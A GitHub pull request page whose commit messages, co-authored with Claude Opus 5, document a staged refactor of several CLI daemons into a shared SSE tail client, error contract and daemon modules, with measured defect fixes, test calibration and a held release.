Scriptorium — edit documents with your agent — and every spell runs from a copied folder - #103
Merged
Merged
Conversation
ichabodcole
marked this pull request as draft
September 2, 2026 17:00
ichabodcole
added a commit
that referenced
this pull request
Sep 2, 2026
Cole held the release. The reason is in the tree already: `bounty update --stdin`
destroys a card's title while returning {"ok":true,"valuesIgnored":null}, its
repair is scheduled into spell-hardening sprint 06 phase 1, and sprint 05's own
merge commit promised "05 and 06 ship together". Releasing now would have shipped
05 while 06 was never cut — breaking the commitment that exists BECAUSE this bug
lives in 06.
PR #103 is converted to draft so it cannot merge by accident.
The drafted release note is saved at docs/releases/DRAFT-next-release.md rather
than left in /tmp. It was written by a fresh agent from the tree (land skill §3)
and then cold-read (§4); both passes are worth more than the prose. Its header
carries the corrections still owed, the largest being that the note calls `acc`
an "external, independent conformance standard" when it is
git+github.com/ichabodcole/agent-cli-conformance — the same author's repo. The
cold reader took it as third-party validation and said so unprompted. Also
recorded: only 3 of 4 spells carry an acc.config.json, and NOTHING re-runs acc —
not package.json, not CI — so "checked against" implies an ongoing property that
does not exist.
⚠ NUMBERS: ROUNDED ON PURPOSE, not corrected. Ruling 2026-09-02 (Cole) — a
number should be sized to the decision it informs, and nobody installs or
declines over bytes. I had committed 196,480 B as the post-scoping CSS total; the
tree said 196,316 because the kit-prose remediation removed three rules an hour
later in the same sprint. Correcting it to another exact figure just resets the
clock on the same defect: an exact number restated in prose that nothing
re-measures. So the narrative now says ~196 KB, and where exactness matters the
instrument prints it — `dist-check` emits its denominator and file counts every
run, which cannot go stale because nothing is remembering it.
The rule worth keeping: EXACT where something re-runs it, ROUNDED where a human
reads it.
Two backlog items closed after verifying rather than trusting their Status lines:
imago's offline-daemon defect (`sharp` appears on 0 shipped imago paths; the one
consumer left is a test fixture) and grapevine's flag-invariant ward (exit 0, and
the suite is 1539/0). Both were fixed and neither file was revisited. The imago
one still read "live defect in the RELEASED v2.2.0 plugin" — true when written,
false now, and exactly how a fixed item keeps reading as urgent. Both were found
by a fresh agent reconstructing a release note, not by anyone working on them.
spell-kit's README said "3 planned, 0 closed" with all three merged.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The recon was a vibe check and said so. These are the two detailed passes it recommended, run against its own scope and with a verdict vocabulary that defaults to "unexplained" rather than "deliberate" — the easy failure of a census like this is rationalising every difference as intentional and concluding nothing can be shared. The spine converges: five of eight concerns yield a writable signature, two have no divergence at all, and discovery writing is honestly a resemblance rather than one thing, because the two conventions disagree about what identity means. Picking one is a product decision, not a factoring one. The tail converges on one insight — "where is the daemon" must be a callback, not a URL — which unifies four incompatible discovery models and repairs astrolabe by construction. It also corrects the recon: there are seven implementations, not six, and glamour's cmdTail moved with the surface relocation. Both fixed here. Roughly fifteen live defects are recorded as ACCEPTANCE CRITERIA rather than a work queue, per Cole's ruling: no release is pending, the only consumer is not currently using the affected spells, and a shared spine should make them impossible by construction. If it lands and they are still reachable, it did not do its job. One of them indicts the ward committed hours earlier: its atomic-write and readSession clauses were generalised from the four copies its author had just fixed, so the entire singleton discovery convention is invisible to both. The instrument built to stop the six-edit failure reproduced it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
Three investigations landed the evidence; this turns it into a project with five rulings and a phase order. The spine and the tail both converge, the module set is drafted with signatures, and the one concern that is honestly a resemblance rather than one thing — discovery writing — keeps both conventions and shares only the two primitives underneath. Phase 1 proves the shared modules on astrolabe and magpie, which already build and so pay no migration; that settles the boundaries against real consumers before anyone pays for one. Phase 2 is a migration pathfinder whose journal becomes a playbook phase, as the surface ports produced R and S. Glamour is recommended for it: mid-sized, already acc-configured, a fork of the imago line so the pattern transfers, and not currently in use, so getting it wrong is cheap. Done means the fifteen recorded defects are unreachable rather than fixed, the daemon-lifecycle ward is DELETED because a text scan over six copies is what you build when you cannot have one implementation, and mind-mapper's tail tests are re-pointed rather than rewritten — they are the only executable specification of tail behaviour in the repo. Names the risk plainly: five copies of the P0f comment document a 23-minute hang that shipped, and a convergence that loses those scars re-earns them. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…asured Phase 0's one job was to find what would resize the project mid-flight, and it found it: build.ts refuses the daemon on the grounds that bundling a server drags the whole surface graph into the backend artifact. Measured, that is true of the default and fixed by one external — the daemon's dev-mode surface import is dead code in a release bundle, which the daemon's own comment already said for a different reason. The consequence is a phase split, recorded as D6. D1's zero-migration claim holds only for the CLI half, because astrolabe's and magpie's servers still ship as unbuilt source and cannot reach src/kit until they build. So Phase 1a takes the CLI-side modules only, and the daemon half becomes 1b. The brief scopes 1a to two modules and names its headline deliverable as a test rather than a feature: astrolabe's tail resolves the daemon base once and reconnects to a dead port forever after any restart, and the design's central decision kills that by construction. A test that fails today and passes after is what proves the phase. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…/wire/
Eight spells' backends independently implement one design. The CLI's SSE tail
reader is one protocol client written SEVEN times, and its error contract four.
The cost was never the duplicated lines: a fix costs six edits and reliably gets
one to four of them, and roughly fifteen verified instances of exactly that were
standing in the tree.
`tailEvents<Ev>()` — the standing, self-healing read loop. Two decisions make
one client possible, both from the convergence design:
* "where is the daemon" is a CALLBACK called before EVERY connect attempt and
never captured. That unifies four incompatible discovery models and repairs
B1 by construction rather than by anyone fixing it.
* the client NEVER calls process.exit; it RETURNS an exit code. Five copies of
the `P0f SHAPE B` comment existed because five sites each had to prove
locally that a `return` escapes three nested loops. There is one loop now.
Also by construction: an idle watchdog fed on RAW chunks before frame parsing so
keepalives count (B2), one drained exit path shared by the terminal frame AND
the signal handler (B3), EPIPE as a completed read rather than a crash (B4), one
backoff that always grows (B5), spec-correct SSE parsing that neither drops a
spec-legal `data:` frame nor eats meaningful whitespace (B6), and a cursor that
takes a max rather than assigning (B7).
`errors.ts` — the taxonomy, the exit codes, the envelope and `die`, drawn from
magpie's copy, which was the fullest of the four. `die` THROWS a CliError rather
than exiting: it had the same truncation hazard as the tail's exit for the same
reason, and the throwing shape is the one glamour and mind-mapper each reached
independently at their acc L0 passes.
⛔ THE SCARS ARE RE-HOMED, NOT DELETED. The P0f measurement table and the
per-site-precondition reasoning are written once, well, on the client, with a
note on why returning a code retires the question the five copies each had to
answer. Mind-mapper's Bun 1.3.14 orphaned-stream finding is deliberately NOT
re-homed and says so: it is daemon-side and bears on sseResponse, not on any
client.
The directory is `wire/` and the reasoning is D7 in the decision log: these two
modules are what a caller OBSERVES, which is D5's contract-versus-utility cut
rather than an audience one.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…ed wire ⛔ B1, THE DEFECT THIS PHASE WENT FIRST FOR. astrolabe binds an EPHEMERAL port. `streamEvents` took a captured `base: string` and reconnected to it forever, so after ANY daemon restart `join` — the verb designed to run for hours carrying presence — spun silently against a dead port: nothing on stdout, nothing on stderr, no exit, and an agent holding the watch believing it was watching. The repair is not a patch at the reconnect site. `resolve` is a callback the shared client calls before every connect attempt, so a moved daemon is followed by construction. `runningBase` re-reads $ASTROLABE_HOME/daemon.port each time. It deliberately does not SPAWN: `join`/`tail` still ensureDaemon() once up front, and a daemon that dies mid-watch is a wait, not a second astrolabe launched from inside a reconnect loop. `cli.test.ts` drives it against a scripted fake daemon that dies and comes back on a DIFFERENT ephemeral port (asserted different — the OS may hand back the one just released, and that would make the test prove nothing). ⭐ THE TEST WAS RUN AGAINST THE UNFIXED CLI FIRST AND FAILED — it read empty for the full 15s window, which is the defect exactly. It passes in 279ms here. Behaviour is otherwise unchanged: same scope filter, same self-echo suppression, same keepalive sentinel on stderr, same monotonic cursor, same exit 0 on `closed`. What is new is what fell out of the shared client — an idle watchdog (B2), a signal path that drains (B3), EPIPE as a completed read (B4), and spec-correct frame parsing. astrolabe's fourth, minimal error envelope is gone with it: the envelope gains exit_code, retryable and meta.command, and `kind`/`message` — the two fields anything can be keying on — are untouched. All 16 `die` sites were read for the throw-instead-of-exit change; every one is outside a `try` or inside a `catch`. The exit-site inventory loses four astrolabe rows and gains none: that CLI now has ZERO live process.exit sites. The ward is told, in prose, that it can no longer see where astrolabe ends and why there is nothing there to pin. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
magpie held the fullest of the house's four error contracts and the shared one was drawn from it byte for byte, so nothing a caller can observe about a magpie failure changed — the taxonomy, the exit codes (usage 2, internal 1, not_found 5, conflict 6), the envelope fields and `meta.command` are the same document. What changed is that there is now ONE of it, and that `die` throws rather than exiting, which `main` funnels into process.exitCode plus a natural return. All 30 `die` sites were read for that change: every one is outside a `try` or inside a `catch`, from which the throw propagates. Two sit in a `catch` and depend on `die` still being `never` for definite assignment; it is. `cmdTail` becomes one call into the shared client. Everything it did is preserved and is now a callback rather than a loop: the session pointer is re-read on every attempt, the FIRST resolved session is pinned for the life of the watch, the grounding anchor names that binding exactly once, and a pointer that disappears AFTER we were bound ends the watch at 0 — a completed watch, not a failure — while one that never appeared keeps retrying with its stderr notice. New, from the shared client: an idle watchdog (three missed 15s heartbeats, where before `await reader.read()` parked forever on a half-open socket), a signal path that drains, and spec-correct frame parsing. magpie keeps its module-level EPIPE guard: it covers every verb, not just the tail, which is out of this phase's scope. It is now the ONE live process.exit site in that CLI, and the exit-site inventory says so. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
… accounted
D7 · the modules live at `src/kit/wire/`, and the reasoning is from the modules
as D5 required: both of them are what a CALLER OBSERVES — the tail client
decides what arrives on stdout and with which exit code, the error contract
decides what a failure looks like and which number the shell sees. Change either
and an agent needs an acc re-grade; change `cn` and nothing moves. That is D5's
contract-versus-utility cut. `printJson`'s own header had already named the
category ("every spell that speaks the agent wire") without anyone noticing.
`src/kit/cli/` was rejected as the same audience-shaped residual that produced
today's `lib/`. Moving `printJson` in is stated as debt, not overlooked.
D8 · `die` throws instead of exiting, with the audit it demands named.
The journal carries the four changes the drafted signature needed, the paper
check against all seven tails with grapevine's verdict stated (served, no fifth
hatch, one missing `onDisconnect` hook named for Phase 3), and the finding that
cost the most time: two ordinary English words in kit prose put `.invisible` and
`.truncate` into three unrelated spells' shipped stylesheets, the ward for that
leak stayed green because single-word utilities are its declared blind spot, and
`dist-check`'s reproduction arm was the only thing that caught it.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…watchdog Seven items from the verification pass, in one chapter. ⛔ THE REGRESSION. Ctrl-C during backoff took up to `retry.maxMs` — measured at 2.80s against a dead port where the hand-written loop took 0.13s, and hammering Ctrl-C did not help because every repeat hit the same sleeping timer. Installing a SIGINT listener SUPPRESSES the runtime's default terminate, so from that moment what the client does on a signal is the whole of what happens; `stop()` aborted the in-flight attempt and left the reconnect asleep on a bare setTimeout. A tail spends most of a dead daemon's lifetime in that sleep, which is exactly the state a human interrupts. The backoff is now woken by `stop()`. Re-measured on the BUILT cli.js: 0.129s and 0.124s, against a 0.12s control. `err` IS NOW READ. It was declared and never used while both adopters wrote to process.stderr from inside callbacks. Every diagnostic the client produces goes through it and nowhere else: `onComment` and `onMalformed` RETURN lines rather than writing them, and `onDisconnect` reports a cause, an error and a status. Per the orchestrator's ruling, recorded on the hook itself: a diagnostics sink is not a fifth escape hatch, because the four named hatches are BEHAVIOURAL and this one changes only what the caller reports — so the design's trip-wire is not tripped and grapevine does not keep its own loop. It serves all four of grapevine's connection diagnostics. THE WATCHDOG IS DERIVED, NOT CHOSEN. `idleMs: 45_000` was a constant decoupled from the thing it watches: astrolabe's daemon heartbeat is env-tunable and clamped only to half the idle timeout, a ceiling of 127.5s, so any ASTROLABE_HEARTBEAT_MS above 45,000 put the tail in a permanent abort/reconnect cycle — harmless only because an unrelated third constant absorbed the churn. Both CLIs now compute the watchdog from their own daemon's heartbeat expression, mirrored by hand with a note that the pair is a Phase 1b deliverable. B5 IS RETIRED MORE THOROUGHLY THAN CLAIMED, AND THE CLAIM WAS TOO NARROW. Two measurements: `!res.body` is unreachable from a Bun client (an empty 200 and a 204 both arrive with an empty-but-present body), so the branch B5 is written about is a types-level guard and the live path is the read loop ending at once; and the backoff reset sat after a successful OPEN in all seven loops, so any connection that opened and yielded nothing reset it — a constant-interval storm by a different door (measured: constant 41ms, versus 40/80/160 after). The reset moved to the first BYTE, and the fall-through path grew the doubling line it never had. Also: a non-2xx body is cancelled before the retry; cells for `terminal` / `terminalEmitsFiltered` (the exit path both adopters depend on), for B5's growth, for the stop-during-backoff path, and for the out/err split. D8's census was wrong twice — 15 and 29, not 16 and 30 — and its criterion was wrong in the way that matters: it is REACHABILITY from inside a swallowing `try`, not call sites, because a helper that dies has its `die` at a site that reads as safe. Corrected in the decision log and on the module, since the Phase 2 playbook inherits that sentence. AND THE WARD IS FIXED RATHER THAN NOTED. kit-prose-ward gains a BARE half: a closed, enumerable list of Tailwind's single-word utilities, cut from the text by the same extractor the structural half uses. Its absence is why two English words put `.invisible` and `.truncate` into three unrelated spells' shipped CSS while the ward stayed green. Calibrated by the tree, not a fixture — switched on, it immediately red on a live occurrence in Dot.tsx that predates this branch. Six kit files reworded; every spell's CSS rebuilds byte-identical. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…E tail
Phase 1a of the backend convergence. The SSE tail client and the CLI error
contract move to src/kit/wire/, and astrolabe and magpie adopt them — the two
spells whose CLIs already build, so neither pays a migration. Ruling D1: settle
the module boundaries against real consumers before anyone pays for a build.
The phase's headline is a test, not a feature. Astrolabe's tail resolved the
daemon base once and reconnected to that fixed URL forever, so `join` — the
verb designed to run for hours carrying presence — spun silently against a dead
port after any restart. The design's central decision, `resolve` being a
callback called before every attempt rather than a captured URL, kills that by
construction. The test was seen red before green, against a daemon that returns
on a port asserted to differ from the one it released.
Defects retired with it, all previously standing in five to seven copies: no
idle watchdog; a backoff that never grew on a body-less response; spec-legal
`data:` frames silently dropped without advancing the cursor; a cursor that
assigned rather than taking a max.
Two things were found by building rather than by reading, and neither census
had them:
* The backoff reset sat after a successful OPEN in all seven implementations,
so a connection that opened and yielded nothing reset it — a constant-
interval reconnect storm by another door. Measured at a constant 41ms;
40/80/160 after moving the reset to the first byte.
* Taking over a signal is not neutral. The first draft aborted the in-flight
attempt but slept the backoff on a bare setTimeout, so Ctrl-C on a
reconnecting tail went from 0.13s to 2.8s and hammering it did not help —
the client was LESS interruptible than the loops it replaced. Any await a
converged client can sit in must be abortable.
The kit-prose ward gains a bare-utility half. Words in kit COMMENTS are content
sources for every spell's stylesheet, because base.css puts the whole kit tree
in front of Tailwind — and the ward's structural matcher required two segments,
so every single-word utility was unreachable by it. Two of the six rewordings
are outside this phase's modules, and the new half was calibrated by the tree
rather than a fixture: switched on, it immediately red on a live occurrence
that predates this branch.
What this deliberately does not reach: the daemon side, whose modules are Phase
1b, and the other five spells' tails. The signature is checked on paper against
all seven; grapevine is served without a behavioural escape hatch, which was
ruled explicitly rather than assumed. Three adoption rules are recorded for the
spells that follow — delete your own signal handler, derive the watchdog from
your own daemon's heartbeat, and expect exit-site coverage to go to zero.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
… the build The brief for Phase 1b, written from measurement rather than from the phase plan, plus D9 recording why it is one branch of two gated chapters with astrolabe first. Four measurements resized the phase before it started. The launcher pattern transfers verbatim, so the spawn line and two ward pins cost nothing. Both servers' SKILL_ROOT/DIST_DIR survive relocation by accident. The dev-mode surface import is a relative specifier that the external flag leaves in the artifact verbatim, so the bundle re-anchors it — provable only on a booted dev daemon. And magpie resolves remove.py off import.meta.dir, which a bundle re-anchors into dist/, breaking rembg extraction in a path no type-check and no unit test reaches. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…ort is pinned where it runs Phase 1b chapter 1, astrolabe half. The daemon source moves to src/astrolabe/backend/server.ts, emits a committed dist/server.js, and keeps a real launcher at scripts/server.ts — so cli.ts's spawn line, the roster enumerator and the exit-site inventory need no change (D2, D6, D9). What moved and what deliberately did not (D10): server.ts and its two test files move; scripts/state.ts STAYS, because four surface files import it and a module both halves import is a two-sided contract, not a daemon sibling. src/build.ts learns a server entry as a SECOND Bun.build call — not a second entrypoint in the existing one, which would hoist a shared chunk and rewrite dist/cli.js. cli.js is byte-identical after this change. The build passes `external` for the surface-HTML glob, which is the one flag that makes a daemon buildable at all (D6); buildBackend's "Do not add server.ts" docstring is rewritten rather than deleted, because the measurement it records is still true and is exactly why buildServer is separate. The dev-mode surface import is the trap this chapter exists to drive (D11). The external leaves the specifier in dist/server.js verbatim, so its five `..` are counted from dist/, not from the source file — read as an ordinary relative import it climbs out of the repo. import-boundary-wards ward 1a would have gone silent on it (its walk is .ts/.tsx only), so ward 1a's population now extends into the declared emitted roots and the pin sits on dist/server.js, where the specifier actually executes. That is a stronger check than the one it replaces. The relocated daemon has ONE entry (D12): an exported run(), no import.meta.main block — false in a bundle the launcher imports — and the terminal process.exit stays at its pinned E-terminal address in scripts/server.ts. A daemon booted from source would compute the wrong SKILL_ROOT, so that entry is not offered. Instruments whose population followed the subject: daemon-lifecycle-ward's walk extended into src/*/backend/ (it went 7 -> 5 and reddened, which is the ward working), ward 1b's bun-exemption list re-derived at four files, the re-export cell's population spans both roots, and INTERNAL_ENTRY_POINTS re-keyed — that last one would NOT have reddened, and is the finding the journal carries. Driven on a booted daemon, both modes: release serves the committed dist chunks and the CLI verbs read back; dev reports mode "dev" on the wire and serves /_bun/ dev-bundler paths with a 36,498-byte Tailwind stylesheet, which is also Contract 5's cwd pin surviving the move. Gate green unpiped: 1901 pass, 0 fail. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…ct` works again Phase 1b chapter 1, magpie half, same shape as the astrolabe chapter: server.ts and its five daemon-only siblings move to src/magpie/backend/, the spell emits a committed dist/server.js, and a launcher stays at scripts/server.ts. ⛔ AND IT FIXES A SHIPPED BUG. backend.ts resolved remove.py off import.meta.dir. cli.ts has imported backend.ts since Slice 2, so the shipped dist/cli.js has been resolving `.../magpie/dist/remove.py` — a path that does not exist — since 7bb0f4a. EVERY `magpie extract` died there, including the default crop-only path, and answered `{"ok":true,"cut":0,"failed":1}` at exit 0, which is why it stood for eight days. Driven fail-first before the move and driven again after: `{"ok":true,"cut":1,"failed":0}` with a real 70x70 RGBA PNG on disk. The path is now up-and-back-down (D13), the same trick cli.ts uses for SERVER_SCRIPT. D10's surface-import test decides what moved: shared/ stays (12 surface files import it, and server.ts's own header already said why), remove.py stays (a runtime asset the deployed skill executes, not bundled), and the six daemon-only modules move. A benefit the brief did not predict — cli.ts had been importing backend/discover/reduce through ../../../plugins/... since Slice 2, and those three specifiers are now ./backend, ./discover, ./reduce. The move REMOVED a cross-root reach. Instruments: INTERNAL_ENTRY_POINTS re-keyed for both the daemon AND discover.ts, terminator-invariant's hazard key moved, ward 1a's pin now sits on dist/server.js, the re-export inventory's four magpie rows moved while keeping the two-sided-vs-daemon-only distinction the pin exists to show, and ward 1b's bun-exemption list went five to three — both departures are a type-only `bun` import the bundler erases, so that list is now a floor that only falls as spells port, and the cell says so. daemon.integration.test.ts is re-anchored on an explicit SKILL_ROOT and spawns the launcher (D14): its old spawn path and cwd were both `..`-counted from tests/, and D12 means the source is not runnable at all. Driven on a booted daemon, both modes. Release: ready frame reports release, / serves the committed dist/index.html, source/element-add/extract/close all answer. Dev: ready frame reports dev, / serves /_bun/ dev-bundler paths with a 46,529-byte stylesheet carrying 252 Tailwind markers. Gate green unpiped: 1901 pass, 0 fail. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
Phase 1b chapter 1's records close with the disagreement table the brief asked for. Six of its seven measurements held exactly. Two did not: magpie's import.meta.dir defect had ALREADY shipped rather than being a future breakage, and the astrolabe surface files importing state.ts are four, not three. Plus the one thing the brief did not contain and that breaks first: a bundled daemon has no entry, because import.meta.main is false in a module the launcher imports. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…chapter 2 The chapter 1 verify pass drove every claim and none came back false, including the two the author flagged as unproven: the rembg path produces real alpha, and the eight-day `magpie extract` defect reproduces against develop before it was believed. It found one thing. Of five ward mutations, four went red and one did not — a `bun` value import inside dist/server.js stays green, because Bun's builtinModules contains "bun" and BARE_BUILTINS exempts it inside any emitted root. These daemons were hand-authored .ts inside ward 1b's population, where that import was visible to the differential; their artifact now sits inside an exemption that swallows it. The population changed during a relocation, which is the shape this project exists to end. D15 (Cole) folds the spawn-path ward into chapter 2: nothing here tests a path that is spawned rather than imported. D16 makes the ward 1b fix chapter 2's first commit, before any kit module enters those bundles. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
Bun's `builtinModules` contains `"bun"`, so `BARE_BUILTINS` exempted a bare
`import … from "bun"` inside any declared emitted root regardless of
`BUILTIN_EXACT` — and the differential cell that re-runs the ward with that list
emptied was structurally blind there. The chapter 1 verify pass measured it:
five mutations, four red, and `import { serve as __s } from "bun"` planted in
`astrolabe/dist/server.js` stayed green at 18/0.
The emitted exemption now covers `builtinModules` MINUS the names the other two
exemptions already govern, so the three exemptions are disjoint and each one's
cell can see its own subject. Calibrated the way the verifier calibrated the
rest: the exact mutation now reddens the differential cell (17/1), restored;
and reverting the subtraction reddens the new synthetic clause, restored.
The `5→3` comment claimed `dist/server.js` being in the population was the
guarantee. That was asserted, not verified — necessary, and not sufficient.
The clause is kept, with the record of what it was worth before.
D16. Closed BEFORE `src/kit/` enters these same bundles: anything the kit drags
in that resolves to a name in `builtinModules` would have inherited the silence.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…artbeat crosses the seam
Both daemons stop owning the eight concerns the spine census found implemented
six times. `src/kit/wire/` gains the daemon-side half of the wire, beside the
tail client and the error contract it already held:
serveDist.ts resolveMode · contentTypeFor · serveFromDist (the FILE half;
URL→filename mapping stays in each router, because that is
where the census's two deliberate divergences live)
eventLog.ts createEventLog — bounded, epoch-capable, replay+subscribe
in ONE call
sse.ts sseResponse — mind-mapper's once-only teardown funnel,
`req.signal`, and a registry of CLOSERS rather than of
controllers, so the subscriber count and the drain read the
same set
housekeeping.ts shouldIdleClose (subscriberCount REQUIRED) · startHousekeeping
· drainAndStop
discovery.ts writeFileAtomic · unlinkIfMatches — the two primitives under
BOTH conventions D3 kept alive
heartbeat.ts the idleTimeout / heartbeat / watchdog triple, as derivations
Converged toward the best sibling, not merged: mind-mapper's bus and
`sseResponse`, bounty's idle logic, astrolabe's heartbeat clamp. The scars came
with them — the measured Bun finding that `try { enqueue } catch` never fires on
an orphaned stream, bounty's "linger after the LAST subscriber leaves", magpie's
"`dist/` existing is not the discriminator", the atomic-pointer torn read — and
bounty's shutdown watchdog is named as deliberately ABSENT with the reason, not
quietly dropped.
Defects closed by construction rather than by anyone fixing them:
- L1 · magpie's idle sweep could not see its subscribers, so an agent tailing a
quiet session was killed with its connection open at the 30-minute floor.
`subscriberCount` is a required argument now.
- L3 · astrolabe's `daemon.port`/`daemon.pid` were bare `writeFileSync`s.
- L5 · both replay buffers are bounded.
- The monotonic `id` now BEATS a payload `id`. Both daemons carried a comment
saying it must and a spread that let it lose.
- A non-finite `?since=` replayed nothing and held the stream open; it now
replays whole, like an absent one.
⛔ AND THE HEARTBEAT CONSTANT CROSSES THE SEAM. `idleMs` was derived in each CLI
by hand-mirroring its own daemon's heartbeat expression, under comments in both
files saying so, because the CLI cannot import the daemon without dragging the
server graph into `dist/cli.js`. Each spell now has one leaf-shaped
`backend/heartbeat.ts` that BOTH halves import. The mirroring comments are
deleted, not annotated.
One wire-observable change, named rather than smuggled: `.html` is served with
`charset=utf-8` (three of eight daemons had it; the census graded the split
stale). The SSE stream now opens with a `: connected` comment — mind-mapper's
header-flush fix — which is why astrolabe's release-serve cell reads the first
`data:` line rather than the first line.
`grimoire/kit-prose-ward.test.ts` gains `grow`/`shrink`: the sentence "five
daemons grow an array" leaked `.grow{flex-grow:1}` into four unrelated spells'
stylesheets, the ward stayed green because the word was not in its list, and
`dist-check`'s reproduction arm caught it downstream — the exact failure the
ward's own header warns about. Its prescribed repair is to add the word.
Gate 1950/0 unpiped, exit read from a file.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…must resolve from the EMITTED location
D15, ruled by Cole. Chapter 1 produced two defects of one class and no
instrument in this repo could see either: the gate type-checks, the wards
text-scan, the unit tests import, and a `join(import.meta.dir, …)` pointing at
empty air passes all three, because a path is a string until something opens or
spawns it. `magpie`'s `remove.py` was dead for eight days in the shipped plugin
behind an `{"ok":true}` envelope at exit 0.
The ward resolves the anchor arithmetic the way the RUNTIME will — from the
emitted file's own directory — and asserts the file is there. Today it governs
seven pins: both spawn targets (`scripts/server.ts`), `remove.py`, both
`dist/index.html` probes, and the `plugin.json` both CLIs read for their version.
⛔ THE POPULATION IS DERIVED, via `src/build.ts`'s own `buildableSpells()` — the
same function the build and `dist-check` use — so a spell that arrives in the
build arrives here on the same commit. A hand-kept list goes blind on exactly
the spell that lands next, which is the defect `daemon-lifecycle-ward` already
has.
Two things the tree corrected while it was being written:
- The boundary is the PLUGIN, not the skill. A skill-scoped boundary exempted
`.claude-plugin/plugin.json`, a shipped sibling both CLIs pin one level above
their own folder. The scanner found it; the first draft would have skipped it.
- A pin that leaves the plugin cannot be asserted from this repo at all
(`SURFACE_CWD` is `src/<spell>/`, which does not exist at the destination), so
those are enumerated and PINNED rather than silently exempt — ward 1a's
discipline applied to a path instead of to a specifier.
Calibrated twice, both by mutation: on a synthetic emitted tree in-cell, and by
hand against the real artifact — `remove.py` re-broken to its shipped-defect
form in `dist/cli.js`, ward red naming the file, line, expression and resolved
path, restored. What it cannot see is written down in its own header.
Gate 1955/0 unpiped, dist-check 0.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
D17–D22 in the decision log, with the options not taken: where the six daemon-side modules live and what they REFUSED to absorb (the URL mapping, bounty's watchdog, `printJson`'s still-outstanding move); the per-spell leaf module that lets the heartbeat cross the seam; the epoch, and why the stale-watermark replay is the half that makes it reachable; the two wire-observable changes, named rather than smuggled; the spawn-path ward's boundary being the plugin rather than the skill; and `grow`/`shrink` joining the kit-prose ward. The journal carries what the brief got wrong and how it was measured — the epoch deliverable's model was incomplete and the fail-first drive is transcribed — plus the two defects that extraction found and no defect table had, and the sentence in a comment that changed four unrelated spells' stylesheets. The session doc carries what shipped by sha, what was driven and how, what could not be verified, and where every scar now lives. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
The chapter 2 verify pass found a comment describing ordering the code does not have: the presence debounce timers were cleared BEFORE drainAndStop, and the comment said that was deliberate — that clearing first beat the teardown which would otherwise re-arm them. It is the other way round. drainAndStop closes each connection, every close runs onClose then presenceDisconnect, and that re-arms a 2500 ms timer after the clear has run. Harmless either way (the launcher ends the process; teardown measured 0.34s against develop's 0.35s), but this is the third time in two chapters that a comment governed nothing, and the other two were defects. Also records what the verify pass found and what it did not confirm. D23: the restart gap is NARROWED, not closed — subscribe replays only when since > seq strictly, so a tail that has seen exactly `ready` reconnects at equality and sits connected and silent, which is the ordinary state of a quiet observatory. The one-line `>=` is the wrong repair and is named as such: a healthy tail reconnects at the tip every time and would be handed the whole buffer again. The correct close is epoch-aware and belongs to the phase that teaches the other daemons to stamp one. D24 accepts two out-of-range semantic changes rather than put a `<= 0` special case back into a shared module. D25 discharges A3. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
